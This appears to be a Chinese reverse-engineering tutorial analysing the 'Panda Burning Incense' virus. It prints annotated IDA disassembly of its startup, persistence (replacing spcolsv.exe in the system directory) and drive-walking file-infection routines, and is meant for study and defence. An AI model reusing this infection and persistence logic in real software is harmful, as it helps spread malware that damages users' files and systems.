逆向分析技术应用-“熊猫烧香”病毒

逆向分析技术应用-“熊猫烧香”病毒

我们使用PEID对病毒样本分析后发现,这个病毒程序由Borland Delphi 6.0-7.0所编写的,这个编译器与VC编译器编写代码不同的是使用register方式传递函数参数。

初步分析

病毒样本oep处的代码片段,这是由Delphi编译器生成的

病毒代码功能代码如下

1
2
3
4
5
6
mov     eax, offset byte_40F7D4 ;保存字符串
mov edx, offset word_40D1D8 ;病毒作者字符串
call sub_403C98
;cpystringStack函数,首先完成堆空间的申请,将edx的字符串保存到申请的堆空间中

下面都是相同操作,将字符串保存到栈中
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
lea     ecx, [ebp-14h]
mov edx, offset byte_40D260
;用于还原加密字符串
mov eax, offset dword_40D270
;保存解密字符串
call sub_405360
;对加密字符串进行解密
mov edx, [ebp-14h]
;将解密后的字符串首地址存入edx
mov eax, ds:dword_40F7D4
;保存字符串首地址指针
call sub_404018
jz short loc_40D149
push 0
call ExitProcess_0
jmp short loc_40D19A
;比较edx和eax中的两个字符串,跳转失败则退出程序

上面的代码是程序的校验部分,包含作者以及作者提供帮助的相关人员的信息。验证成功后,会进入病毒启动部分,即loc_40D149地址处。

这里的代码和上面的验证一样,再次验证程序是否为病毒程序。若通过验证,则调用CreateAndRunPanda、InfectOtherFile、VirusProtect这三个函数来完成病毒的运行、感染和病毒自我保护。

启动过程

启动函数CreateAndRunPanda()代码1如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
CODE:004082F8 CreateAndRunPanda proc near             ; CODE XREF: CODE:loc_40D173p
CODE:004082F8
CODE:004082F8 var_424 = dword ptr -424h
CODE:004082F8 var_420 = dword ptr -420h
CODE:004082F8 var_41C = dword ptr -41Ch
CODE:004082F8 var_418 = dword ptr -418h
CODE:004082F8 uCmdShow = dword ptr -414h
CODE:004082F8 var_410 = dword ptr -410h
CODE:004082F8 var_40C = dword ptr -40Ch
CODE:004082F8 var_408 = dword ptr -408h
CODE:004082F8 var_404 = dword ptr -404h
CODE:004082F8 var_400 = dword ptr -400h
CODE:004082F8 var_3FC = dword ptr -3FCh
CODE:004082F8 var_3F8 = dword ptr -3F8h
CODE:004082F8 var_3F4 = dword ptr -3F4h
CODE:004082F8 var_3F0 = dword ptr -3F0h
CODE:004082F8 var_3EC = dword ptr -3ECh
CODE:004082F8 var_3E8 = dword ptr -3E8h
CODE:004082F8 var_3E4 = dword ptr -3E4h
CODE:004082F8 var_3E0 = dword ptr -3E0h
CODE:004082F8 var_3DC = dword ptr -3DCh
CODE:004082F8 var_3D8 = dword ptr -3D8h
CODE:004082F8 var_3D4 = dword ptr -3D4h
CODE:004082F8 var_3D0 = dword ptr -3D0h
CODE:004082F8 var_3CC = dword ptr -3CCh
CODE:004082F8 var_3C8 = dword ptr -3C8h
CODE:004082F8 var_3C4 = dword ptr -3C4h
CODE:004082F8 var_3C0 = dword ptr -3C0h
CODE:004082F8 var_3BC = dword ptr -3BCh
CODE:004082F8 var_3B8 = dword ptr -3B8h
CODE:004082F8 var_3B4 = dword ptr -3B4h
CODE:004082F8 var_3B0 = byte ptr -3B0h
CODE:004082F8 var_1E4 = byte ptr -1E4h
CODE:004082F8 var_18 = dword ptr -18h
CODE:004082F8 var_14 = dword ptr -14h
CODE:004082F8 var_10 = dword ptr -10h
CODE:004082F8 var_C = dword ptr -0Ch
CODE:004082F8 var_8 = dword ptr -8
CODE:004082F8 var_4 = dword ptr -4
;函数入口起始处
CODE:004082F8
CODE:004082F8 push ebp
CODE:004082F9 mov ebp, esp
CODE:004082FB mov ecx, 84h
CODE:00408300
;地址标号
CODE:00408300 loc_408300: ; CODE XREF: CreateAndRunPanda+Dj
CODE:00408300 push 0
CODE:00408302 push 0
CODE:00408304 dec ecx
;申请局部变量空间
CODE:00408305 jnz short
loc_408300
;循环跳转,共申请0x84次,每次申请8字节栈空间
CODE:00408307 push ecx
CODE:00408308 push ebx
CODE:00408309 push esi
CODE:0040830A push edi
CODE:0040830B xor eax, eax
CODE:0040830D push ebp
CODE:0040830E push offset loc_4088DD
CODE:00408313 push dword ptr fs:[eax]
CODE:00408316 mov fs:[eax], esp
CODE:00408319 lea edx, [ebp+var_3B8]
;保存路径字符串首地址
CODE:0040831F xor eax, eax
CODE:00408321 call sub_40277C
;调用GetPath函数获取路径
CODE:00408326 mov eax, [ebp+var_3B8]
CODE:0040832C lea edx, [ebp+var_3B4]

CODE:00408332 call sub_405684
;调用函数,字符串追加函数
CODE:00408337 lea eax, [ebp+var_3B4]
CODE:0040833D mov edx, offset dword_4088F4
;字符串"Desktop_ini"的首地址
CODE:00408342 call sub_403ED4
;调用字符串追加函数
CODE:00408347 mov eax, [ebp+var_3B4]
;追加后的首地址
CODE:0040834D call sub_4057A4
;检查“Desktop_.ini”文件是否存在
CODE:00408352 test al, al
;不存在al=0
CODE:00408354 jz loc_4083E4
;不存在执行跳转
CODE:0040835A push 80h ; dwFileAttributes
;获取路径长度
CODE:0040835F lea edx, [ebp+var_3C0]
;保存路径字符串首地址
CODE:00408365 xor eax, eax
CODE:00408367 call sub_40277C
;获取当前路径
CODE:0040836C mov eax, [ebp+var_3C0]
CODE:00408372 lea edx,
[ebp+var_3BC]
;保存路径字符串首地址
CODE:00408378 call sub_405684
;获取路径
CODE:0040837D lea eax, [ebp+var_3BC]
CODE:00408383 mov edx, offset dword_4088F4
CODE:00408388 call sub_403ED4
CODE:0040838D mov eax, [ebp+var_3BC]
CODE:00408393 call sub_4040CC
CODE:00408398 push eax ; lpFileName
CODE:00408399 call SetFileAttributesA
;设置文件属性
CODE:0040839E push 1 ; dwMilliseconds
;设置等待时间
CODE:004083A0 call Sleep
CODE:004083A5 lea edx, [ebp+var_3C8]
CODE:004083AB xor eax, eax
CODE:004083AD call sub_40277C
CODE:004083B2 mov eax, [ebp+var_3C8]
CODE:004083B8 lea edx, [ebp+var_3C4]
CODE:004083BE call sub_405684
CODE:004083C3 lea eax, [ebp+var_3C4]
CODE:004083C9 mov edx, offset dword_4088F4
CODE:004083CE call sub_403ED4
CODE:004083D3 mov eax, [ebp+var_3C4]
CODE:004083D9 call sub_4040CC
;检查字符串文件
CODE:004083DE push eax ; lpFileName
;压入路径字符串
CODE:004083DF call DeleteFileA

上述代码主要获取当前路径,并将”Desktop_.ini”拼接到当前路径中,同时检查此文件是否存在。如果文件存在,则将其删除。在执行完这些指令后,代码进入新的流程。

代码片段2如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
CODE:004083E4 loc_4083E4:                             ; CODE XREF: CreateAndRunPanda+5Cj
CODE:004083E4 lea edx, [ebp+var_3CC]
CODE:004083EA xor eax, eax
CODE:004083EC call sub_40277C
;获取全路径,将首地址保存到[ebp+var_3CC]
CODE:004083F1 mov eax, [ebp+var_3CC]
CODE:004083F7 lea edx, [ebp+var_4]
;保存当前文件信息的首地址
CODE:004083FA call sub_407760
;根据路径,将当前程序读取到内存中,使用[ebp+var_4]保存其首地址
CODE:004083FF lea eax, [ebp+var_8]
CODE:00408402 call sub_403C44
CODE:00408407 mov eax, [ebp+var_4]
;获取文件大小,Delphi编写的,字符串首地址减去4后,取出的4字节内容便是此字符串的长度
CODE:0040840A call sub_403ECC
CODE:0040840F mov ebx, eax
CODE:00408411 jmp short loc_408437

上述代码就是完成将病毒文件信息读取到内存中的操作,其目的是复制病毒信息,感染其他文件。接下来看下其调用函数。

1
2
3
4
5
6
7
8
9
10
CODE:00408437 loc_408437:                             ; CODE XREF: CreateAndRunPanda+119j
CODE:00408437 test ebx, ebx
;检查字符串长度
CODE:00408439 jle short loc_408445
;判断标记信息,没有标记表明是第一次运行则跳转,否则就执行下面的语句
CODE:0040843B mov eax, [ebp+var_4]
;获取文件在内存中的首地址
CODE:0040843E cmp byte ptr [eax+ebx-1], 0
;判断文件尾数据是否为0,这是感染过的文件标记。如果没有被感染,则跳转失败。
CODE:00408443 jnz short loc_408413

上述代码进行了标记检查工作,以判断病毒程序是否被多次运行,同时设置了相关的标记信息。

接下来,程序流程进入病毒程序复制处,”spcolsv.exe”在进程中出现,代码如下。

上述代码操作就是找到进程中运行的”spcolsv.exe”并将其终止,在系统目录中删除”spcolsv.exe”,将病毒自身伪造程”spcolsv.exe”并启动。启动系统目录中伪造的病毒程序后,病毒程序已经在系统目录下,并且已经伪造成spcolsv。

在”004084B7 call CmpStr”代码后,程序会进入地址标号loc_4085BA处,如下图

检查病毒文件已经在系统目录下后,则会执行上述代码,释放之前申请存放病毒文件信息的内存,并跳转loc_40889D获取标记信息。

loc_40889D代码如下

1
2
3
4
5
6
7
8
9
10
11
CODE:0040889D loc_40889D:                             ; CODE XREF: CreateAndRunPanda+2D6j
CODE:0040889D mov edx, [ebp+var_8]
;获取对比标记信息
CODE:004088A0 mov eax, offset dword_408934
;获取数值标记1
CODE:004088A5 call sub_4041B4
;调用函数查询标记值1,并获取其位置
CODE:004088AA test eax, eax
CODE:004088AC jg loc_4085D3
;如果查找到标记字符,则跳转到loc_4085D3地址处

上述代码主要是获取标记并进行检查,当标记等于数值为1时,会进入loc_4085D3地址处代码,并进行进一步检查。

上述代码功能是将被感染的文件进行分离,提取出原始文件信息。由于感染文件时预留了相关的标记信息,根据这些信息得到原始文件。文件感染后分为三个部分,病毒代码+原始程序+标记信息

将感染文件进行分离后,会在程序所在目录下释放出一个原始文件,感染文件的主要工作是维护进程中伪造的病毒程序”spcolsv.exe”程序,如果这个程序被处理掉,则会从感染的文件中分离出病毒程序,程序再次运行。

感染过程

第二个重要的函数infectOtherFile(),这是病毒的感染函数,函数实现如下

1
2
3
4
5
6
7
CODE:0040CFB4 sub_40CFB4      proc near               ; CODE XREF: CODE:0040D178p
CODE:0040CFB4 call sub_40A7EC
CODE:0040CFB9 call sub_40C5B0
CODE:0040CFBE mov ax, 0Ah
CODE:0040CFC2 call sub_40BD08
CODE:0040CFC7 retn
CODE:0040CFC7 sub_40CFB4 endp

此病毒通过3种方式进行感染,前两者sub_40A7EC、sub_40C5B0是在本地进行病毒的感染,第三种sub_40BD08需要的支持。

首先来看下sub_40A7EC(CreateInfectThread)的代码实现如下.

1
push    offset sub_40A6C8;线程回调函数,病毒感染的实现在此函数中。

具体感染流程如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
CODE:0040A6C8 sub_40A6C8      proc near               ; DATA XREF: sub_40A7EC+6o
CODE:0040A6C8
CODE:0040A6C8 var_20 = dword ptr -20h
CODE:0040A6C8 var_1C = dword ptr -1Ch
CODE:0040A6C8 var_18 = dword ptr -18h
CODE:0040A6C8 var_14 = dword ptr -14h
CODE:0040A6C8 var_10 = dword ptr -10h
CODE:0040A6C8 var_C = dword ptr -0Ch
CODE:0040A6C8 var_8 = dword ptr -8
CODE:0040A6C8 var_4 = dword ptr -4
CODE:0040A6C8
CODE:0040A6C8 push ebp
CODE:0040A6C9 mov ebp, esp
CODE:0040A6CB xor ecx, ecx
CODE:0040A6CD push ecx
CODE:0040A6CE push ecx
CODE:0040A6CF push ecx
CODE:0040A6D0 push ecx
CODE:0040A6D1 push ecx
CODE:0040A6D2 push ecx
CODE:0040A6D3 push ecx
CODE:0040A6D4 push ecx
CODE:0040A6D5 push ebx
CODE:0040A6D6 push esi
CODE:0040A6D7 xor eax, eax
CODE:0040A6D9 push ebp
CODE:0040A6DA push offset loc_40A7BB
CODE:0040A6DF push dword ptr fs:[eax]
CODE:0040A6E2 mov fs:[eax], esp
CODE:0040A6E5 lea eax, [ebp+var_4]
;存放驱动器名称字符串的首地址
CODE:0040A6E8 call sub_4076B4
;获得驱动器名称
CODE:0040A6ED mov eax, [ebp+var_4]
CODE:0040A6F0 call sub_403ECC
;获取驱动器个数
CODE:0040A6F5 mov esi, eax
CODE:0040A6F7
CODE:0040A6F7 loc_40A6F7: ; CODE XREF: sub_40A6C8+34j
CODE:0040A6F7 ; sub_40A6C8+D3j
CODE:0040A6F7 mov ebx, esi
CODE:0040A6F9 cmp ebx, 1
CODE:0040A6FC jl short loc_40A6F7
;判断驱动器个数是否小于1,若小于1则跳转

CODE:0040A6FE
CODE:0040A6FE loc_40A6FE: ; CODE XREF: sub_40A6C8+CDj
CODE:0040A6FE lea eax, [ebp+var_C]
CODE:0040A701 mov edx, [ebp+var_4]
CODE:0040A704 mov dl, [edx+ebx-1]
CODE:0040A708 call sub_403E2C
;将字符串转换成字符
CODE:0040A70D mov eax, [ebp+var_C]
CODE:0040A710 lea edx, [ebp+var_8]
;保存大写驱动器名称
CODE:0040A713 call
sub_40532C
;将字符串转为大写
CODE:0040A718 mov eax, [ebp+var_8]
CODE:0040A71B push eax
CODE:0040A71C lea edx, [ebp+var_10]
CODE:0040A71F mov eax, offset dword_40A7D0
;"a"
CODE:0040A724 call sub_40532C
;将字符"a"转为大写
CODE:0040A729 mov eax, [ebp+var_10]
CODE:0040A72C pop edx
CODE:0040A72D call sub_4041B4
;查找字符"A"在字符串中的位置
CODE:0040A732 test eax, eax
CODE:0040A734 jnz short loc_40A792
;递减遍历过驱动器数目
CODE:0040A736 lea eax, [ebp+var_18]
CODE:0040A739 mov edx, [ebp+var_4]
CODE:0040A73C mov dl, [edx+ebx-1]
CODE:0040A740 call sub_403E2C
CODE:0040A745 mov eax, [ebp+var_18]
CODE:0040A748 lea edx, [ebp+var_14]
CODE:0040A74B call sub_40532C
CODE:0040A750 mov eax, [ebp+var_14]
CODE:0040A753 push eax
CODE:0040A754 lea edx, [ebp+var_1C]
CODE:0040A757 mov eax, offset dword_40A7DC
CODE:0040A75C call sub_40532C
CODE:0040A761 mov eax, [ebp+var_1C]
CODE:0040A764 pop edx
CODE:0040A765 call sub_4041B4
CODE:0040A76A test eax, eax
CODE:0040A76C jnz short loc_40A792
CODE:0040A76E lea eax, [ebp+var_20]
CODE:0040A771 mov edx, [ebp+var_4]
CODE:0040A774 mov dl, [edx+ebx-1]
;获取盘符
CODE:0040A778 call sub_403E2C
CODE:0040A77D lea eax, [ebp+var_20]
CODE:0040A780 mov edx, offset loc_40A7E8
;“:\\”
CODE:0040A785 call sub_403ED4
;向盘符名称追加字符串":\\"
CODE:0040A78A mov eax, [ebp+var_20]
CODE:0040A78D call sub_4094A4
;通过查找到的驱动器盘符,遍历盘符中的各种文件并感染它们
CODE:0040A792
CODE:0040A792 loc_40A792: ; CODE XREF: sub_40A6C8+6Cj
CODE:0040A792 ; sub_40A6C8+A4j
CODE:0040A792 dec ebx
;遍历结束后,驱动器数减1
CODE:0040A793 test ebx, ebx
CODE:0040A795 jnz loc_40A6FE
;如果驱动器不为0,则继续遍历驱动器,并感染其中的文件
CODE:0040A79B jmp loc_40A6F7
;遍历感染结束
CODE:0040A79B sub_40A6C8 endp

上述代码主要是遍历驱动器盘符的数目,并通过sub_4094A4函数进入到驱动器中,遍历所有可感染文件以进行病毒复制。

下面我们进入sub_4094A4函数看下这个函数的工作流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
CODE:004094A4 sub_4094A4      proc near               ; CODE XREF: sub_408944+8AAp
CODE:004094A4 ; sub_4094A4+915p ...
CODE:004094A4
CODE:004094A4 var_334 = dword ptr -334h
CODE:004094A4 var_330 = dword ptr -330h
CODE:004094A4 var_32C = dword ptr -32Ch
CODE:004094A4 var_328 = dword ptr -328h
CODE:004094A4 var_324 = dword ptr -324h
CODE:004094A4 var_320 = dword ptr -320h
CODE:004094A4 var_31C = dword ptr -31Ch
CODE:004094A4 var_318 = dword ptr -318h
CODE:004094A4 var_314 = dword ptr -314h
CODE:004094A4 var_310 = dword ptr -310h
CODE:004094A4 var_30C = dword ptr -30Ch
CODE:004094A4 var_308 = dword ptr -308h
CODE:004094A4 var_304 = dword ptr -304h
CODE:004094A4 var_300 = dword ptr -300h
CODE:004094A4 var_2FC = dword ptr -2FCh
CODE:004094A4 var_2F8 = dword ptr -2F8h
CODE:004094A4 var_2F4 = dword ptr -2F4h
CODE:004094A4 var_2F0 = dword ptr -2F0h
CODE:004094A4 var_2EC = dword ptr -2ECh
CODE:004094A4 var_2E8 = dword ptr -2E8h
CODE:004094A4 var_2E4 = dword ptr -2E4h
CODE:004094A4 var_2E0 = dword ptr -2E0h
CODE:004094A4 var_2DC = dword ptr -2DCh
CODE:004094A4 var_2D8 = dword ptr -2D8h
CODE:004094A4 var_2D4 = dword ptr -2D4h
CODE:004094A4 var_2D0 = dword ptr -2D0h
CODE:004094A4 var_2CC = dword ptr -2CCh
CODE:004094A4 var_2C8 = dword ptr -2C8h
CODE:004094A4 var_2C4 = dword ptr -2C4h
CODE:004094A4 var_2C0 = dword ptr -2C0h
CODE:004094A4 var_2BC = dword ptr -2BCh
CODE:004094A4 var_2B8 = dword ptr -2B8h
CODE:004094A4 var_2B4 = dword ptr -2B4h
CODE:004094A4 var_2B0 = dword ptr -2B0h
CODE:004094A4 var_2AC = dword ptr -2ACh
CODE:004094A4 var_2A8 = dword ptr -2A8h
CODE:004094A4 var_2A4 = dword ptr -2A4h
CODE:004094A4 var_2A0 = dword ptr -2A0h
CODE:004094A4 var_29C = dword ptr -29Ch
CODE:004094A4 var_298 = dword ptr -298h
CODE:004094A4 var_294 = dword ptr -294h
CODE:004094A4 var_290 = dword ptr -290h
CODE:004094A4 var_28C = dword ptr -28Ch
CODE:004094A4 var_288 = dword ptr -288h
CODE:004094A4 var_284 = dword ptr -284h
CODE:004094A4 var_280 = dword ptr -280h
CODE:004094A4 var_27C = dword ptr -27Ch
CODE:004094A4 var_278 = dword ptr -278h
CODE:004094A4 var_274 = dword ptr -274h
CODE:004094A4 var_270 = dword ptr -270h
CODE:004094A4 var_26C = dword ptr -26Ch
CODE:004094A4 var_268 = dword ptr -268h
CODE:004094A4 var_264 = dword ptr -264h
CODE:004094A4 var_260 = dword ptr -260h
CODE:004094A4 var_25C = dword ptr -25Ch
CODE:004094A4 var_258 = dword ptr -258h
CODE:004094A4 var_254 = dword ptr -254h
CODE:004094A4 var_250 = dword ptr -250h
CODE:004094A4 var_24C = dword ptr -24Ch
CODE:004094A4 var_248 = dword ptr -248h
CODE:004094A4 dwFileAttributes= dword ptr -244h
CODE:004094A4 var_240 = dword ptr -240h
CODE:004094A4 var_23C = dword ptr -23Ch
CODE:004094A4 var_238 = dword ptr -238h
CODE:004094A4 var_234 = dword ptr -234h
CODE:004094A4 var_230 = dword ptr -230h
CODE:004094A4 var_22C = dword ptr -22Ch
CODE:004094A4 var_228 = dword ptr -228h
CODE:004094A4 var_224 = dword ptr -224h
CODE:004094A4 var_220 = dword ptr -220h
CODE:004094A4 var_21C = dword ptr -21Ch
CODE:004094A4 var_218 = dword ptr -218h
CODE:004094A4 var_214 = dword ptr -214h
CODE:004094A4 var_210 = dword ptr -210h
CODE:004094A4 var_20C = dword ptr -20Ch
CODE:004094A4 var_208 = dword ptr -208h
CODE:004094A4 var_204 = dword ptr -204h
CODE:004094A4 var_200 = dword ptr -200h
CODE:004094A4 var_1FC = dword ptr -1FCh
CODE:004094A4 var_1F8 = dword ptr -1F8h
CODE:004094A4 var_1F4 = dword ptr -1F4h
CODE:004094A4 var_1F0 = dword ptr -1F0h
CODE:004094A4 var_1EC = dword ptr -1ECh
CODE:004094A4 var_1E8 = dword ptr -1E8h
CODE:004094A4 var_1E4 = dword ptr -1E4h
CODE:004094A4 var_1E0 = dword ptr -1E0h
CODE:004094A4 var_1DC = dword ptr -1DCh
CODE:004094A4 var_1D8 = dword ptr -1D8h
CODE:004094A4 var_1D4 = dword ptr -1D4h
CODE:004094A4 var_1D0 = dword ptr -1D0h
CODE:004094A4 var_1CC = dword ptr -1CCh
CODE:004094A4 var_1C8 = dword ptr -1C8h
CODE:004094A4 var_1C4 = dword ptr -1C4h
CODE:004094A4 var_1C0 = dword ptr -1C0h
CODE:004094A4 var_1BC = dword ptr -1BCh
CODE:004094A4 var_1B8 = dword ptr -1B8h
CODE:004094A4 var_1B4 = dword ptr -1B4h
CODE:004094A4 var_1B0 = dword ptr -1B0h
CODE:004094A4 var_1AC = dword ptr -1ACh
CODE:004094A4 var_1A8 = dword ptr -1A8h
CODE:004094A4 var_1A4 = dword ptr -1A4h
CODE:004094A4 var_1A0 = dword ptr -1A0h
CODE:004094A4 var_19C = dword ptr -19Ch
CODE:004094A4 var_198 = dword ptr -198h
CODE:004094A4 var_194 = dword ptr -194h
CODE:004094A4 var_190 = dword ptr -190h
CODE:004094A4 var_18C = dword ptr -18Ch
CODE:004094A4 var_188 = dword ptr -188h
CODE:004094A4 var_184 = dword ptr -184h
CODE:004094A4 var_180 = dword ptr -180h
CODE:004094A4 var_17C = dword ptr -17Ch
CODE:004094A4 var_178 = dword ptr -178h
CODE:004094A4 SystemTime = _SYSTEMTIME ptr -174h
CODE:004094A4 var_164 = byte ptr -164h
CODE:004094A4 var_15C = dword ptr -15Ch
CODE:004094A4 var_158 = dword ptr -158h
CODE:004094A4 var_C = dword ptr -0Ch
CODE:004094A4 var_8 = dword ptr -8
CODE:004094A4 var_4 = dword ptr -4
CODE:004094A4
CODE:004094A4 push ebp
CODE:004094A5 mov ebp, esp
CODE:004094A7 mov ecx, 66h
CODE:004094AC
CODE:004094AC loc_4094AC: ; CODE XREF: sub_4094A4+Dj
CODE:004094AC push 0
CODE:004094AE push 0
CODE:004094B0 dec ecx
CODE:004094B1 jnz short loc_4094AC
CODE:004094B3 push ecx
CODE:004094B4 push ebx
CODE:004094B5 push esi
CODE:004094B6 push edi
CODE:004094B7 mov [ebp+var_4], eax
CODE:004094BA mov eax, [ebp+var_4]
CODE:004094BD call sub_4040BC
CODE:004094C2 lea eax, [ebp+var_164]
CODE:004094C8 mov edx, off_4075A0
CODE:004094CE call sub_404414
CODE:004094D3 xor eax, eax
CODE:004094D5 push ebp
CODE:004094D6 push offset loc_40A360
CODE:004094DB push dword ptr fs:[eax]
CODE:004094DE mov fs:[eax], esp
CODE:004094E1 xor eax, eax
CODE:004094E3 push ebp
CODE:004094E4 push offset loc_40A2F4
CODE:004094E9 push dword ptr fs:[eax]
CODE:004094EC mov fs:[eax], esp
CODE:004094EF mov eax, [ebp+var_4]
;驱动器字符串首地址
CODE:004094F2 call sub_403ECC
CODE:004094F7 mov edx, [ebp+var_4]
CODE:004094FA cmp byte ptr [edx+eax-1], 5Ch
;判断字符串结尾是否为"\",
CODE:004094FF jz short loc_40950E
CODE:00409501 lea eax, [ebp+var_4]
;如果读到结尾没有'\',则拼接一个"\\"
CODE:00409504 mov edx, offset dword_40A378
;字符串"\\"
CODE:00409509 call sub_403ED4
CODE:0040950E
CODE:0040950E loc_40950E: ; CODE XREF: sub_4094A4+5Bj
CODE:0040950E lea eax, [ebp+var_178]
CODE:00409514 mov ecx, offset dword_40A384
;字符串"*.*"
CODE:00409519 mov edx, [ebp+var_4]
CODE:0040951C call sub_403F18
;将字符串"*.*"追加到驱动器路径后
CODE:00409521 mov eax, [ebp+var_178]
CODE:00409527 lea ecx, [ebp+var_164]
CODE:0040952D mov edx, 3Fh
CODE:00409532 call sub_407640
;查找文件属性(文件、目录、特殊文件等)
CODE:00409537 test eax, eax
CODE:00409539 jnz loc_40A2DF
CODE:0040953F
CODE:0040953F loc_40953F: ; CODE XREF: sub_4094A4+E35j
CODE:0040953F mov eax, [ebp+var_15C]
CODE:00409545 and eax, 10h
CODE:00409548 cmp eax, 10h
;检查是否为目录
CODE:0040954B jnz loc_409DC3
CODE:00409551 mov eax, [ebp+var_158]
;获取到的文件夹名称
CODE:00409557 cmp byte ptr [eax], 2Eh
;比较文件的第一个字符是否为"."
CODE:0040955A jz loc_409DC3
CODE:00409560 lea edx, [ebp+var_17C]
;排除特殊文件,保存排除文件夹的名称
CODE:00409566 mov eax, offset aWindows_0 ; "WINDOWS"
CODE:0040956B call sub_40532C
CODE:00409570 mov eax, [ebp+var_17C]
CODE:00409576 push eax
CODE:00409577 lea edx, [ebp+var_180]
CODE:0040957D mov eax, [ebp+var_158]
CODE:00409583 call sub_40532C
CODE:00409588 mov edx, [ebp+var_180]
;取出所获取文件夹的名称的大写形式
CODE:0040958E pop eax
CODE:0040958F call sub_404018
;比较是否为特殊过滤文件夹
CODE:00409594 jz loc_40A2CC

上述代码遍历了驱动器下的文件信息,并将文件与文件夹进行分类,排除了特殊文件夹。在判断是否为特殊文件夹的过程中,都是以大写形式进行对比的。当查询到文件而并非是特殊文件夹时,病毒程序执行破坏性操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
CODE:00409A22                 push    [ebp+var_4]
CODE:00409A25 push [ebp+var_158]
CODE:00409A2B push offset dword_40A580
CODE:00409A30 lea eax, [ebp+var_224]
CODE:00409A36 mov edx, 3
CODE:00409A3B call sub_403F8C
CODE:00409A40 mov eax, [ebp+var_224]
CODE:00409A46 call sub_4057A4
CODE:00409A4B test al, al
CODE:00409A4D jz loc_409C67
CODE:00409A53 push [ebp+var_4]
CODE:00409A56 push [ebp+var_158]
CODE:00409A5C push offset dword_40A580
CODE:00409A61 lea eax, [ebp+var_228]
CODE:00409A67 mov edx, 3
CODE:00409A6C call sub_403F8C
CODE:00409A71 mov eax, [ebp+var_228]
CODE:00409A77 lea edx, [ebp+var_8]
CODE:00409A7A call sub_407760
CODE:00409A7F lea eax, [ebp+SystemTime]
CODE:00409A85 push eax ; lpSystemTime
CODE:00409A86 call GetLocalTime
CODE:00409A8B lea edx, [ebp+var_22C]
CODE:00409A91 movzx eax, [ebp+SystemTime.wYear]
CODE:00409A98 call sub_40587C
CODE:00409A9D push [ebp+var_22C]
CODE:00409AA3 push offset dword_40A598
CODE:00409AA8 lea edx, [ebp+var_230]
CODE:00409AAE movzx eax, [ebp+SystemTime.wMonth]
CODE:00409AB5 call sub_40587C
CODE:00409ABA push [ebp+var_230]
CODE:00409AC0 push offset dword_40A598
CODE:00409AC5 lea edx, [ebp+var_234]
CODE:00409ACB movzx eax, [ebp+SystemTime.wDay]
CODE:00409AD2 call sub_40587C
CODE:00409AD7 push [ebp+var_234]
CODE:00409ADD lea eax, [ebp+var_C]
CODE:00409AE0 mov edx, 5
CODE:00409AE5 call sub_403F8C
CODE:00409AEA mov eax, [ebp+var_8]
CODE:00409AED mov edx, [ebp+var_C]
CODE:00409AF0 call sub_404018
CODE:00409AF5 jnz short loc_409B49
CODE:00409AF7 push [ebp+var_4]
CODE:00409AFA push [ebp+var_158]
CODE:00409B00 push offset dword_40A5A4
CODE:00409B05 lea eax, [ebp+var_238]
CODE:00409B0B mov edx, 3
CODE:00409B10 call sub_403F8C
CODE:00409B15 mov eax, [ebp+var_238]
CODE:00409B1B mov edx, offset dword_40A5BC
CODE:00409B20 call sub_4050F0
CODE:00409B25 lea eax, [ebp+var_23C]
CODE:00409B2B mov ecx, [ebp+var_158]
CODE:00409B31 mov edx, [ebp+var_4]
CODE:00409B34 call sub_403F18
CODE:00409B39 mov eax, [ebp+var_23C]
CODE:00409B3F call sub_408944
CODE:00409B44 jmp loc_40A2CC

执行了感染前的检查工作,此段代码会在驱动器”C”盘下生成一份记录文件”test.txt”。文件感染后,将会修改目录中的”Desktop _ .ini “文件,并写入感染时间。若文件已经被感染,则会将流程跳转到地址标号loc_409B49处,该处代码只设置了”Desktop _ .ini”的文件属性,将其修改为READONLY、HIDDEN、SYSTEM。

当一个文件遍历结束后,会回到loc_40953f处,重新遍历文件,重复之前分析过的操作,这里并没有感染文件。当查找到目标是文件属性后,则会跳转到地址标号loc_409DC3处,这里就是对文件的感染操作了,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
ODE:00409DC3
CODE:00409DC3 loc_409DC3: ; CODE XREF: sub_4094A4+A7j
CODE:00409DC3 ; sub_4094A4+B6j
CODE:00409DC3 mov eax, [ebp+var_158]
CODE:00409DC9 cmp byte ptr [eax], 2Eh
CODE:00409DCC jz loc_40A2C5
CODE:00409DD2 lea edx, [ebp+var_27C]
CODE:00409DD8 mov eax, [ebp+var_158]
CODE:00409DDE call sub_405458
;获取指定文件名的后缀名
